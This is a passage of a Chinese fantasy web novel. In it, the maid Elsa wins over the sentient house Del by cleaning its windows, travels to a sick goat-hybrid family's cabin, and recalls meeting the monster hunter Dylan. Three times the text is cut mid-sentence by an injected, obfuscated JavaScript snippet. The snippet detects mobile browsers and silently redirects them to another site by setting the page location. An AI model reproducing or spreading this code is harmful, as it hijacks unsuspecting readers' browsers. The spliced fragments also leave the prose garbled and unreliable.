“我们都在猜，很可能是昨天史莱姆经过时，针刺破坏到了灯座。”伊芙意有所指地问艾尔莎：“你觉得呢？” “它们那时候不是怕被划到脸，背过木板去了吗？没看到也是正常的。”艾尔莎回答。 伊芙笑了笑，没再追着问下去，只把它当成谈话间微不足道的小插曲。 有了钥匙，就相当于有了全府邸的通行证。艾尔莎先去了位于一楼的图书馆，这里被打扫和保养的很好，书籍的墨香和粉末灰尘独有的味道漂浮在空气中，安静得令人安心。 她边走边浏览着书架的内容，除了她最感兴趣的药剂学，还看到了一本《德尔府的传说》。艾尔莎抽出这本精装的地方志，里面记录了她好奇的内容——为什么德尔会这么讨厌人类？ 悬崖这片原本是被圈为贵族的疗养区。第一套被设计和建好的房子就被命名为德尔府。 但在建房的过程中，因为中途撤资造成的纠纷，德尔府出现了命案。为了掩盖犯罪事实，杀手编造了房子闹鬼的传闻，买通了神父宣称此处居住着魔鬼。 开发计划不了了之，德尔府和其他几栋建造好的房子被抛弃在了这。直到很久后真相大白，人们想铲除这里荒废的房屋，拆了一栋又一栋，直到遇上了愤怒的德尔…… 艾尔莎合上书。德尔府承载着期许出现，却遇上了命运的滑坡。它会对人类这么生气，或许是因为他们破坏了它本该拥有的荣誉和光环。 书页翻动，飞出一张夹杂的纸条。艾尔莎捡起来好奇一看，潦草的字迹写着“哎~归纳起来就是死要面子还臭美嘛。”的读后感，署名是莱昂。 艾尔莎想起那晚被蚀兽袭击后，莱昂和德尔吵架的样子，不禁露出微笑。 休息时间，墙头画们正在讨论斯坦因的美貌，瞧见艾尔莎朝着它们走来，纷纷闭上了嘴。 走廊里陷入沉默，艾尔莎停驻脚步，目光对上最近的一幅贵族女性人像。她露出微笑，礼貌地说：“晚上好，我想向大家打听点事。” 贵族女性高傲地向她翻了个白眼。 “不要以为成为了正式女仆，就能和我们平起平坐了。”一旁的绅士人像冷哼：“艾尔莎，认清你人类身份。” “而且啊，”框里抱着公鸡的少女抢话：“煤油灯事件还没有洗脱你的嫌疑呢！” “还想要从我们这里获得什么情报？”被抱着的公鸡发出“咯咯咯”的嘲笑。 他们开始出声赶人，此起彼伏的“快走吧”“离我们远点”充斥着狭小的走廊。 爱尔莎掉头，假装要离开。语气可惜地叹了口气：“我还以为，你们会想要知道斯坦因少爷的信息呢。” “什么意思？”一直端着架子的贵族女性忽然出声。 “你们不是把我骗去了斯坦因少爷的房间吗？这可是府邸里的三大禁地……就不想要知道里面有什么吗？” “是啊，你是怎么全须全尾地出来的？我们都很想知道呢！”少女飞快地问，她怀里的公鸡不满地啄了她一下：“别咬钩子，暴露你的好奇心！” 艾尔莎没理她，她不是这的话事者。她看向贵族女性：“女士？” 贵族女性端坐在画框里，居高临下地打量着艾尔莎：“你想知道什么？” “德尔最近有什么烦恼吗？” “德尔？烦恼？”画像的语气里有几分不可思议：“你要用这个来交换尊贵的斯坦因少爷的信息吗？”这个人类女人不会有什么特殊审美吧？ “没错，可以成交吗？” “成交。”贵族女人对德尔可没有半分的关心，她语气厌倦地对下属们说：“把你们知道的都告诉她。” 墙头画们七嘴八舌地讨论起来，本来它们就是喜欢八卦的生物，现在有了新的倾听者，巴不得把所有秘密都倒出来。但德尔本就沉默寡言，墙头画们知道的信息也很有限。 “对了，我听厨房地精的助手他采购的食材说过，德尔之前好想抱怨过眼睛有点模糊，没有以前看远方那么清晰了。” “眼睛？”艾尔莎从混乱的信息中捕捉到了关键点：“是指窗户吗？” 朝外看的应该就是窗户了，艾尔莎巡视了一圈宅邸的窗户。因为终年累月地被层层帷幕和窗帘遮蔽，除了晒着月光的大厅外，其他窗户确实都没有得到很好的保养。 准备好清洗工具，艾尔莎用大刷子擦去玻璃上粘黏的灰尘，再用小刷子小心拂去框槽中的异物。她将混着洗涤剂的清水泼上玻璃去除表面的污迹，遇上顽固的，就用小刀片轻轻地刮掉。 为了不让玻璃留下抹痕和水印，艾尔莎用玻璃刮刮去水分。最后用过期的报纸将整面玻璃擦拭完毕。 她花了整整一周的休息时间去清洗全屋的玻璃，连厨房那几扇被油熏黑的玻璃，她也用布蘸着热醋擦干净了。 除了墙头画们，没有怪物知道她这么做是为了什么。一周后的清晨，在怪物们都入睡时，艾尔莎带着清洁工具来到了阁楼。 “这是最后一扇窗户了。”艾尔莎拂去额上沁出的汗。 从阁楼的窗户望出去是郁郁葱葱的山林，远处飞鸟从林间掠过，让艾尔莎想起了化身乌鸦的莱昂，他已经有段时间没回到宅邸了。 她收回视线，动力满满地撸起袖子：“开始工作吧。” 阁楼里，挂在墙上的一架老式电话铃忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991225|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响了，艾尔莎吓了一跳，听筒自己掉了下来，熟悉的低沉声音十分不耐烦：“你到底想干什么！” “德尔？”艾尔莎靠近听筒，迟疑地回答：“我想……擦窗户。” “不要以为我看不出来，你在讨好我！”德尔低吼道。 “我是在讨好你，”爱尔莎坦然地承认：“今后我就要正式生活在这里了，我只是想让大家都更开心一些。包括你，德尔。” 德尔不屑地、重重地哼了一声：“少在这里给我耍心眼，不要以为我不知道，墙头画们受到蜡烛惊吓都是因为你，你这个诡计多端的人类。” 趁墙头画们为了躲避针球怪翻转过画板，视线被墙遮蔽的时候。爱尔莎确实悄悄动了点手脚，她旋松了点灯座的螺丝，让煤油灯能够延迟翻倒下来，又不至于真的威胁到墙头画们的生命安全。 她知道德尔看到了，但正如伊芙所说，他既不喜欢墙头画，也懒得多管闲事。 “那是因为它们对我恶作剧了，这只是个小小的报复。”艾尔莎也没有否认。 她理所当然的态度让德尔噎住了几秒,“你到底有什么企图？”他的声音变得更警惕了,“我才不会和一个人类玩什么朋友游戏！” “不需要交朋友，”艾尔莎连忙否认：“非要说的话，就让我的存在变成对你有利的吧。我可以帮你做很多事，相对应的，再遇到上次蚀兽的那种事的时候，我希望德尔能帮我叫援兵。” “擦个窗户就想换来庇护？”德尔冷笑着拒绝：“你的算盘可打得太精明了！” “当然不只是这些。”艾尔莎说：“我粗略地检查过了整座房屋，屋顶和地板的破损被木头钉起来了，但那木板都钉得歪歪扭扭的。” 德尔被戳中了心事：“还不都是莱昂那个臭小子！粗手粗脚的！” “我的父亲是个木工，我帮他打过下手，我有信心可以把破损的地方修好，平平整整的尽可能和原本一样。” “哈！难道你以为……” “还有剥落的墙漆，水管都裸露出来了。同色的油漆并不难买，市场上可以采购到。” “哼……你还会油漆？” “会一些。哦还有，实木地板还是得打蜡保养，才能延长使用寿命。” “没错！这群懒家伙真是什么都不懂！他们想要就是鬼屋！越阴暗越好！全都是末流审美！” 德尔犹豫了几秒：“昨天那混蛋针刺球弄破的墙纸你能修吗？” “如果能去市场，我就能糊上崭新的墙纸，还能买些受欢迎的装饰品，”艾尔莎说：“哦对了，金属家具有些都生锈了，轻微的锈迹我也可以试着修复和翻新。之后你有什么需求，也可以直接告诉我。” 德尔不说话了。 “德尔？”艾尔莎试探地喊他。 鬼房德尔虽然不想接受一个人类的贿赂，但艾尔莎能给的实在是太多了，他不愿承认，但每个条件都正中他的心窝。 “把玻璃擦干净点！”德尔气急败坏地说，挂断了电话。 9. 狄伦＆猎魔人 艾尔莎迎来了她的外派任务。 “草药？”艾尔莎接过伊芙递给她的竹篮：“贝森太太怎么了吗？” 住在石窟洞穴的贝森夫妇是山羊精怪混血，也是噩梦餐厅的熟客。半个月前他寄来一封信，信上说自己的夫人得了病，恳请噩梦夫人为他调配药剂。 “好像是染上了什么疫疾，夫人说可能是外来的病菌。”伊芙担忧地说：“记得嘱咐他注意附近有没有陌生的怪物。” 伊芙将护身符塞进艾尔莎的口袋，伊芙细心叮嘱她：“夫人说这种病症应该不具有传染性。但为保安全还是给你带上这个，可以隔绝掉所有的病菌，一定要贴身带着。” 艾尔莎展开地图，贝森住在远离人烟的小木屋中。弯弯曲曲的小径直达茂盛的森林深处。 “路途遥远，你可以在贝森先生那借住一晚，不着急回来，路上要小心。” “这条路我熟悉。”艾尔莎盯着路线上标记的风车图标，毫不犹豫地接下了任务：“我会顺利把药品送到的。” 和伊芙道别，艾尔莎提着竹篮在黎明时分出了门。 她刚走出院门，曙光在地平线乍现，回身望去，噩梦餐厅已笼罩在飘渺的烟雾中，一晃眼就看不到轮廓了。 在前往贝森家的森林前，她还有必须要去的地方，艾尔莎捏紧地图，拎着裙摆小跑起来。 去贝森家的线路正巧要经过一个风车磨坊，因为折断了翅翼而废弃许久。 这也是艾尔莎上次逃跑时歇脚的地方，当时她被冲进来的村民围追堵截，混乱中不小心把银匕首遗失在了这。 艾尔莎进入磨坊，在堆积的杂乱稻草里埋头翻找。很快她的指尖触碰到冰凉的硬质金属，她立刻把那把刻着精致纹路的刀鞘抽了出来。 艾尔莎拔出银匕首，光可鉴人的刃面倒映出她展露的笑容。 把失而复得的匕首抱在胸前，艾尔莎感到难以形容的安心。她就像暴风雨中颠簸的小船，终于寻回了自己丢失的锚。 这是猎魔人狄伦送给她的礼物，是她最珍视的宝物。 艾尔莎把匕首藏进裙子里，拎起篮子继续上路，夜晚的森林很危险，她得在天黑前赶到贝森的家。 冰冷的刀鞘贴着她的腰，让艾尔莎不由得回想起第一次见到狄伦的场景。 她七岁时，村庄遭受了怪物潮的袭击，母亲在灾难中逝去，艾尔莎发了高烧，醒来后就丢失了全部的记忆。 重新修建的村庄还处处保留着伤痛的痕迹。 一个平凡的下午，艾尔莎抱起沉重的洗衣盆，需要浆洗的衣物堆成小山。屋内父亲烂醉如泥，艾尔莎用肩膀顶开木门，院子外正经过几个玩闹的同龄人。 真不巧，艾尔莎下意识低头，想让他们注意不到自己，然而事与愿违，几个男孩围了过来。 “看呐，杂草又长出来了！” “丑女！” 他们朝艾尔莎做出鬼脸和下流的手势，艾尔莎视而不见的态度惹恼了他们。 “我妈妈说你是不祥之物！”一块尖锐的小石头砸向艾尔莎，伴随着谩骂：“滚出这里！” 扔石头只是暴力行为的开端，他们越过围墙，朝着艾尔莎逼近。 艾尔莎低垂着头，等他们伸手来推搡她时，她将盆朝离她最近的领头男孩泼过去。扑面而来的衣物盖了男孩满脑袋，不等他把衣服扯下来，艾尔莎就把空盆砸向想来帮忙的同伙，然后扑上去厮打被蒙脸的领头人。 他们滚在地上，但艾尔莎压制住了他，不要命地朝他挥舞着手臂和指甲，围过来的同伴都没法拉开艾尔莎，等鼻青脸肿的男孩好不容易从纠缠的衣服中挣脱出来，他也早已丧失了战意。 他们叫嚣着报复落荒而逃，艾尔莎一路追出了围栏。 “该滚蛋的是你们！”双手插在腰间，她的语气畅快。 “这可不是淑女的行为。”忽然有人在她身后说：“但是干得漂亮。” 艾尔莎诧异地回过头，高挑的年轻男人正站在房檐的阴影下，抬眼看向她。 他穿着紧身的黑色锁甲，手中抛着一把银匕首，露在外的手臂显出流畅健壮的肌肉纹理。黑色短发下，金色的瞳孔正带着笑意，像是映照深谭的星星。 年幼的艾尔莎警惕地盯着他：“你是谁？” “一个猎魔人。”他回答。随即提议：“需要我给他们教训吗？保证他们以后不找你麻烦。” 她并不知道猎魔人是什么，但这个男人明摆着不好惹。艾尔莎抿了抿唇：“我可没有钱雇佣你。” “我也不接针对人类的工作。”狄伦露出笑意：“这是友情帮忙。” “为什么？”艾尔莎不记得自己见过他。 “你妈妈救过我，作为回报，我也会尽可能地照顾你，如果你有需要的话。”他弯起唇角：“小姑娘。” 那是艾尔莎和狄伦的初遇。此后过去了十年，狄伦的样貌也没有任何改变。 从村民的谈论中艾尔莎得知，猎魔人在各个村庄周旋游历，只要付给他们佣金，他们就会杀掉对人类产生威胁的怪物。 这在艾尔莎心中种下了一颗希望的萌芽。 怪物潮的袭击毁掉了村落，但也留下了复兴的希望。遗留的怪物残骸是制作各种武器和药品的材料，前来收购的人络绎不绝。 村庄出现了繁荣的小热潮，所以猎魔人的出现也没有引起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991226|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多的热议。只是猎魔人向来独来独往，但这次出现的却是一个五人小队，领头的就是狄伦。 艾尔莎很快就打听到了他们的去处。 村落外的草地上传来飘渺悠扬的笛声，艾尔莎循着曲调找到了正在整理装备的猎魔人。围坐在篝火旁的猎魔人齐齐转过头，看到接近的人是个小姑娘，不禁都露出诧异的神色。 狄伦抬眼望来，放下笛子：“你是来找我的吗？” 这些人就算坐着也有很强的压迫感，艾尔莎鼓起勇气穿过他们，直达狄伦的面前。 “我想要成为猎魔人。”艾尔莎直视狄伦的双眼：“你可以教我吗？” 短暂的沉寂后，闷笑声开始在猎魔人间蔓延。 “哈哈，这太荒唐了，”脸上有刀疤的大叔率先开口：“像你这样的小姑娘？你拿在手上的应该是缝衣针而非刀剑。” 狄伦却没有嘲笑艾尔莎。他金色的眸子倒映着摇曳的火光，艾尔莎捉摸不透他的想法。 “为什么想成为猎魔人？” “我想要报仇。”艾尔莎的眼眸里流露出伤痛。 “这是个常见的理由，”狄伦说：“但不足以打动我。” “还有……因为你们是拥有力量的强者，可以把握自己的命运。你们……”艾尔莎的语气流露毫不掩饰的羡慕和向往：“很自由。” 这番稚气的回答又一次逗笑了猎魔人们，因为说了真心话而被嘲笑的艾尔莎涨红了脸。她盯着狄伦等他的回答，那双金色的眸子却似乎是被触动了什么心事，显得有些漫不经心。 “其实我们都背着隐形的枷锁呢，只是你看不见而已，小姑娘。”狄伦笑着说，却毫不留情地驳回了艾尔莎的请求：“如果是这个理由的话，你并不适合成为猎魔人。” 虽然并不觉得狄伦会立刻答应，但艾尔莎还是掩饰不住失落：“你说过，你会帮我的。” “我是在帮你。”狄伦耸耸肩：“相信我，干这份工作的经验，我可比你足多了。” “狄伦，雇主来了。”刀疤脸提醒他。顺着他们的目光望去，有个妇女正不安地站在远处，她的害怕和焦虑一览无遗，但还是下定决心朝他们走过来。 “是铁匠的妻子，”艾尔莎认出了她：“发生了什么事吗？” “她的丈夫消失几天了。这个镇子近来外来人口这么多，就算有人失踪也很难引起注意。”回答她的是刀疤脸：“哈哈，当然也不排除和哪个女人私奔了的可能性。” “你该回去了。”狄伦对艾尔莎说：“接下来是工作时间。” “我不会就这么轻易放弃的。”艾尔莎梗着脖子说，没等狄伦回应，她就转头跑掉了。 10. 幻觉＆触手 从小她就这样莽撞又不知分寸，一定给狄伦添了不少麻烦。想到这，赶路的艾尔莎露出难为情的笑容。 她的方向感很好，下午时，茂盛的绿荫遥遥在望，贝森家就在林荫深处。 走入森林，嘈杂的环境声响如潮水般褪去，好像瞬间都被层层叠叠的树叶过滤隔绝。寂静的森林里只能偶尔听见几声鸟的啼鸣。 阴翳下的森林笼罩着灰暗的气息，连带温度都下降了许多，衣着单薄的艾尔莎感到了股渗入皮肤的凉意。 茂密的林草长及脚踝，也让小径变得难以辨认。艾尔莎眼尖地看见林草中生长的一小片花海，她认识这种花，这是能在黑暗中发出幽幽荧光的石岚花。 艾尔莎采摘下花朵，用匕首的握柄碾碎花瓣，再把汁液涂抹到刀刃上。 森林的夜晚总是降临的猝不及防，万一在其间迷途可就麻烦。艾尔莎掏出匕首，在经过的树皮上刻下十字符号。这样即便黑暗来临，她也可以找到正确的道路。 铺满落叶的路的尽头，褐色的木头建筑显露出屋檐的一角，那就是贝森家的木屋了。 独栋的木屋有两层楼高，原木墙壁被打磨得光滑，门廊上挂着小巧的风铃。 来开门的是贝森先生，他的面容消瘦了很多，眉眼间忧郁重重，连额上蜷曲的山羊角都显得颓丧。 艾尔莎的到来让他露出了真心的微笑。 “辛苦了，快请进。”贝森热情地邀请艾尔莎：“路上都还顺利吗？” 艾尔莎走进玄关，正坐在客厅沙发上玩耍的混血男孩看起来只有四五岁。 “这是我的孩子休。”贝森的语气软了下来，悄悄和艾尔莎说：“他的智商比同龄孩子发育得慢一些，但还是最可爱的孩子。” “休，”贝森提高声音，引起他的注意：“艾尔莎姐姐来我们家做客了。” 小巧的山羊角害羞地匍匐在自然卷的头发中。休抱着胡萝卜的等身抱枕，仰着那张天使般的面容，剔透的眼眸静静地看着艾尔莎。 艾尔莎感到心脏被击中了，忍不住想要伸手摸摸他羊毛般的头发。 蜷曲的褐色头发质地柔软，休默默地任艾尔莎抚摸，只是那双天真无邪的眼眸流露出几分担忧，休轻轻张了张嘴，最终什么都没说。 贝森没注意到休的欲言又止，他对艾尔莎说：“我带你去见我的妻子，见到你来，她一定会很开心的。” “太太她是什么时候生病的？有什么病症吗？”走廊上，艾尔莎放轻声音问。 “大约一周前。”贝森说：“她会忽然觉得很冷，就算点了炉火也无济于事，本来以为只是普通的感冒。但慢慢地，她说自己会开始出现幻觉，比如忽然认不出家里的模样，明明是熟悉的房间，却变得很陌生。有时候会完全不知道自己在哪里。” 贝森先生的脸色也不是很好：“其实，我这几天也有这样的感觉……或许我也染上了同样的恶疾。”他猛地顿住脚步，面露慌张：“是我考虑不周到，如果这会传染，就不应该邀请你进屋的。” 艾尔莎对他安抚一笑，“我有夫人给我的护身符，可以隔绝一切传染源，不用担心。”她想起伊芙的叮嘱，“对了，夫人让您注意奇怪的外来者。” “可我们家一直单独居住在森林里，没有外来者啊。”贝森先生皱起眉头，有些摸不着头脑。 大致给艾尔莎介绍完一楼的布局，贝森在主卧前停下脚步。 敲响房门，房内传来贝森太太温柔但虚弱的嗓音。 “咳咳……是艾尔莎小姐来了吧？请进。” 躺在床上的女人温婉美丽，但疾病折磨得她形销骨立，两颊浮现不健康的红晕。见到爱尔莎，她露出友好的笑容。 “家里好久没有客人了，”贝森太太有些遗憾地说：“却不能好好招待你。” “等您好起来，我会再来打扰的。” 艾尔莎在她床边坐下，还记得在噩梦餐厅初次见到贝森太太，她对摔倒的自己伸出了援手。才过去了短短几周，她憔悴的面容就快让艾尔莎认不出她了。 “是啊是啊，等你好起来了，我们可以再邀请艾尔莎小姐过来玩。”贝森附和道，在她的额头上落下轻吻，“你们先聊，”他将艾尔莎带来的竹篮提出去：“我去将药水煮热。” 贝森太太目送他离开，恬静的面容上显露出忧愁。 “请不要太担心，夫人是很出色的女巫，在药水学上也很有造诣。”艾尔莎安慰道：“您一定可以顺利康复的。” “希望如此吧。”贝森太太虚弱一笑，艾尔莎的言语并未安抚她的不安：“我总有种不太好的预感……” “艾尔莎小姐，我有个无理的请求，”贝森夫人看向艾尔莎：“对初次见面的人提出这样的请求真是太失礼了，但贝森他不愿意离开我。可以请您将我的孩子带出这片森林吗？” 艾尔莎微怔：“把休带到噩梦餐厅去吗？” “是的，我想拜托夫人照看他。至少得让休离开这里。”贝森太太忧郁地说：“这栋房子……不太正常。” 艾尔莎没懂她的话：“不太……正常？” “我们以为躲在里面安全，但实际上说不定是个牢笼呢。”贝森太太很低落，疾病不仅让她变得虚弱，似乎给她的精神带来很大的打击。 她虚着目光，对艾尔莎的呼唤充耳不闻，声音变得恍惚起来：“我又看到了。” 半阖上的眼睛猛地睁大，贝森夫人猛地抓住了艾尔莎的手。她直直盯着天花板，似乎看到了很惊恐的景象：“破了，天花板破了，外面是……” 她明显不正常的状态吓到了艾尔莎，艾尔莎轻微地打了个寒颤。她抬头看向天花板，能看到的只有圆木自然的纹路。 “听得到我的声音吗？”艾尔莎犹豫是否要去找贝森，但她被紧紧地抓住了，长指甲掐得她生疼，艾尔莎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991227|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑近贝森太太的脸畔，灵光一闪，她顺着贝森太太的话问下去：“你看到了什么？” 床上的女人喘了口粗气，“海洋，一望无际的大海，”她惊恐的声音渐渐低下去，化为轻声呢喃，“还有触手。” 异常没维持多久，贝森夫人的意识渐渐回笼，她平静情绪，把涌到眼眶的泪光憋了回去。 “我又看到幻觉了，最近身体也有点不听使唤，”贝森太太勉强地朝艾尔莎露出了一个比哭还难看的微笑：“我真怕自己做出什么对休不利的事来。” “希望你能答应我。”她握着艾尔莎的手，随时要落下泪来。 那双手瘦的骨节突出，艾尔莎紧紧地反握，允诺道：“我知道了，我会照看休的。” “你们明早就出发。”贝森太太急切地说，好像灾难迫在眼睫：“越快越好。” 贝森先生果然坚持要留下来陪伴生病的妻子，饭桌上，晚餐准备得朴素但丰富，艾尔莎总觉得休在偷看自己，但每当她对上休的目光时，休就会移开眼神。 “夜晚的森林容易迷路呢，就连我也没把握能平安把你送出去。”贝森先生露出抱歉的笑意：“请在二楼的客房休息吧。” 不顾贝森先生的推辞，饭后，艾尔莎收拾了碗筷，放进装着面粉、调料等的壁橱里，她刚合上橱门，视线的余光中，原本空无一人的厨房门口忽然出现了一个身影。 艾尔莎被吓了一跳，定睛一看，原来那是抱着胡萝卜玩偶的休，他正静静地盯着艾尔莎。 “休？你怎么在这里？”艾尔莎松了口气：“你是来找我的吗？” 她朝休走过去，想要摸摸他的头。但这次，休向后瑟缩，避开了她的触碰。 有瞬间，艾尔莎觉得他明锐的目光似乎穿透了自己。 “不碰，”休小声地说：“脏东西。” 艾尔莎怔楞在原地。 刚好路过的贝森先生也听到了这句清晰的话，“休，你怎么可以没礼貌呢。”贝森又急又气，连忙拉着休，向艾尔莎道歉：“他肯定不是故意的，休有点怕生，请不要介意。” “请您不要责怪他，”艾尔莎摆摆手表示并不介意：“是我太唐突了。” “休以前不这样的，自从他妈妈生病后，他也会避着我们，说我们是怪物。”贝森先生流露出伤心的神色。触碰到艾尔莎担忧的眼神，他勉强打起精神：“请上楼休息吧。” 艾尔莎踏上楼梯，心头笼罩着一层模糊的阴霾。 在躲开艾尔莎前，休轻轻地、悲伤地说了句：“来不及了。” 那声音太细微，以至于只有艾尔莎听到了。这仿佛是某种命运不详的预言，让整座小屋都笼罩在某种死气沉沉、大祸临头的气息中。 二楼的卧室布置得很温馨，艾尔莎仔细地锁好窗户和门。把银匕首放在枕头下，隔着羽毛枕头的硬物质感让她稍稍安心了些。怀揣着忐忑，艾尔莎闭上眼睛。 11. 伪装＆血统 她梦到了狄伦。梦到了年幼的她为了成为猎魔人，纠缠狄伦的那些日子。 要等喝醉的父亲睡着后，艾尔莎才能从家里偷跑出来，披星戴月来到酒吧。 狄伦这几天都泡在酒吧，直到打烊才离去。 此时酒吧快结束营业，逆着人流的艾尔莎格外突兀，好在她戴上了兜帽遮掩了容颜，看起来就像个半夜被打发出来买酒的小孩。 她钻进了温暖的酒吧，很快就发现了狄伦。 他正被一群舞女围在当中。披着轻纱的舞女笑靥如花，晃动的裙带之间露出雪白的腰肢。她们被这个年轻帅气、出手大方的猎魔人吸引住了。 “怎么就你一个人？你的伙伴呢？” “他们接了铁匠妻子的委托，就剩我这个悠闲的人在这享乐人生。”狄伦拿起酒杯，饮完最后的啤酒：“很惨对吧？” “真想让你的同伴们听听这话，”离他最近的舞女嘟起嘴：“真没良心。” “那么，今夜，谁愿意和没良心的人回旅店，安慰一下他呢？”狄伦撑着下巴，上挑修长的眉毛。 他露出花花公子般游刃有余的笑容，他的长相英俊清秀，黑色锁甲包裹的身材却露出健美的曲线，在场的舞娘们全都含羞带怯地瞅着他。 “那要看你愿意付出怎样的筹码了？”一条沾染香氛的手帕抛在他的肩头。和他睡觉不亏，但若是个穷鬼还是会让人扫兴。 “你们想要什么呢？比如，对我来说最宝贵的东西？”狄伦假装在思考：“啊，那我知道了。” 当狄伦从腰间抽出那把古朴的匕首时，舞娘们纷纷露出失望的神情。见状，狄伦爽朗地大笑起来，变魔法般拿出了一小个牛皮袋，未系紧的袋口露出金灿灿的钱币。 钱币的光芒在那刻似乎照耀了酒吧，把舞娘们贪婪狂热的面容都照得明晰。 艾尔莎也从没见过这一笔钱，她呆楞在原地，看着狄伦将最丰腴的那个舞娘留了下来，其他舞娘流露出艳羡嫉妒的神情，磨蹭了一会才不甘心地离开。 酒吧老板正挨个将醉倒的酒鬼驱赶出店，狄伦搂着舞娘也要离开。艾尔莎缓过神来，拦在了他们面前。 “艾尔莎，”狄伦露出头疼的表情：“你真要这么扫兴吗？” 艾尔莎见过相拥的男女，但她还处在对这种风月的事一知半解的年纪。况且对艾尔莎来说，她也没有更好的时机可以选择。 “狄伦，我想成为猎魔人。”她甚至嘴笨得没有更多的说辞，不会花言巧语也不会谈判。 只能用一遍一遍倔强的尝试，试图动摇狄伦坚硬如铁的决定：“但我什么都愿意做，我可以吃苦，绝对不会中途放弃的。” 舞娘睁大双眼，好奇地看着艾尔莎。“狄伦，”她撩起猎魔人耳边的黑发：“你不答应她吗？” “约定可不是像你的呼吸和裙摆一样轻飘飘的。”狄伦含笑的眼眸掠过她：“要是小看承诺，可是会付出沉重的代价。” “回去吧，艾尔莎。趁现在回头还早呢。”狄伦叹息道：“我是不会答应你的。” “……我不会放弃的！”艾尔莎握住拳头：“要怎么样你才肯答应呢？” “她好像要哭了。”舞女凑近狄伦的耳边：“真可怜，我的心都要碎了。” “真的吗？”狄伦一边手把玩她的发尾，一边作势要抚上舞女高耸的胸部：“让我确认一下。” 舞女调笑着拍掉他的手，他们旁若无人地调情，仿佛不明所以的艾尔莎是空气。 艾尔莎看着他们的脸越来越接近，然后——她听到了一声清脆的响声。 是金属的咬合声。 艾尔莎睁大眼，她看到舞娘侧过来的半边脸，因为咧开的狰狞大嘴变了形，暴露出非人的利齿，而她咬住的也并非狄伦的脖子，而是一把闪闪发亮的银匕首。 狄伦的声音还如情人般温柔，“是不是有些太着急了？甜心。”他低头注视着舞娘近在咫尺的面容，用空余的手扣住了舞娘的脖颈和下巴，让她无法再次张开嘴。 狄伦放开被衔在嘴里的匕首，飞快地从腰间摸出新的利刃。“艾尔莎，”他甚至还有闲心情招呼她：“这是个好机会，你要好好看清楚猎魔人是怎么工作的。” 他将利刃送进了舞娘的脖颈，绿色的血液喷涌出来。舞娘疯狂地挣扎，试图挣脱他的禁锢。 青筋在手背和手臂浮现，但狄伦岿然不动，他缓慢又坚定插入匕首，直到刀刃完全没入肌肤。 人类的皮肤从舞娘身上脱落，就像是丽莎曾看到过的昆虫蜕皮，褐色的成虫从白色的茧中钻出。 狄伦踹开了挥舞着细肢的怪物，它趴在地上翻过身，八足将硕大的肚子支撑起来，怪物的原貌是一只巨型蜘蛛，但长有一张没有五官的人脸。 “该死！”蜘蛛口吐人言，还是舞娘那娇媚的声音：“你是怎么发现的！” 艾尔莎早就看呆了，等她回过神时，她已经滑坐在了地上，腿软得不受控制。 而狄伦挡在了她身前，左右两只手各持一把匕首。 “看着它，艾尔莎，别闭眼。” 狄伦的声音还是那么散漫，语气却冷了下来：“这是怪物人面蛛，一般生活在沼泽地带，但它在产卵前会需要大量的进食，所以才会进村子。” “她、她会说话……” “当然，她会伪装和欺诈呢，语言可是她的武器，要是你见过她非凡的舞姿，就知道她扮演的舞女多好。” “你到底是怎么找到我的！”人面蛛追问。 “这个嘛，挺简单的。”狄伦露出了狡黠的微笑：“通过赌注。” 混在舞娘群中的人面蛛将自己伪装得很好，所以狄伦用赌注稍微诈了一下她们：“真正的舞娘都在盯着金币，只有你在忌惮银匕首，下意识的反应最难作假。” “我想要你的血，猎魔人！”人面蛛在戒备，也在犹豫：“只要再来点营养我就可以生产了，你给我一杯血，我就让你们安全离开。” “很多怪物都向我提出过这个要求，但我又不是实现愿望的灯神。”狄伦耸耸肩：“更不可能帮你接生。” “那么你就去死吧！”谈判破裂，人面蛛扬起锋利的前腿，飞身跃起。 “躲到吧台后面去。艾尔莎。”狄伦飞快地说，投掷出匕首。匕首将那快得离谱的虫身撞得一偏。 狄伦错开脚步，转眼间就绕到了人面蛛背后，身形近乎优雅。 躲在吧台后的艾尔莎露出双眼张望，她看到狄伦踩住了人面蛛的后肢，扬起匕首对准她的腹部。 但人面蛛反应很快，她翻转身体，锋利的前肢划向狄伦的腿，狄伦只好暂时退后。 挣脱而出的人面蛛从尾部喷出丝浆，将自己吊起来悬挂在房檐上，警惕地盯着狄伦。 交手没多久，她就意识到狄伦占了上风，他不是她的猎物，而是实力强大的狩猎者。 “你应该出了酒吧，在街上对我下手。这样封闭狭小的空间对你并不利。” “……要不是你对我早有戒备，我刚刚就能咬断你的脖子！” “那还真是可惜了。”狄伦轻松地笑起来：“就算和小姑娘说着话，我的注意力也完全被你吸引呢。” 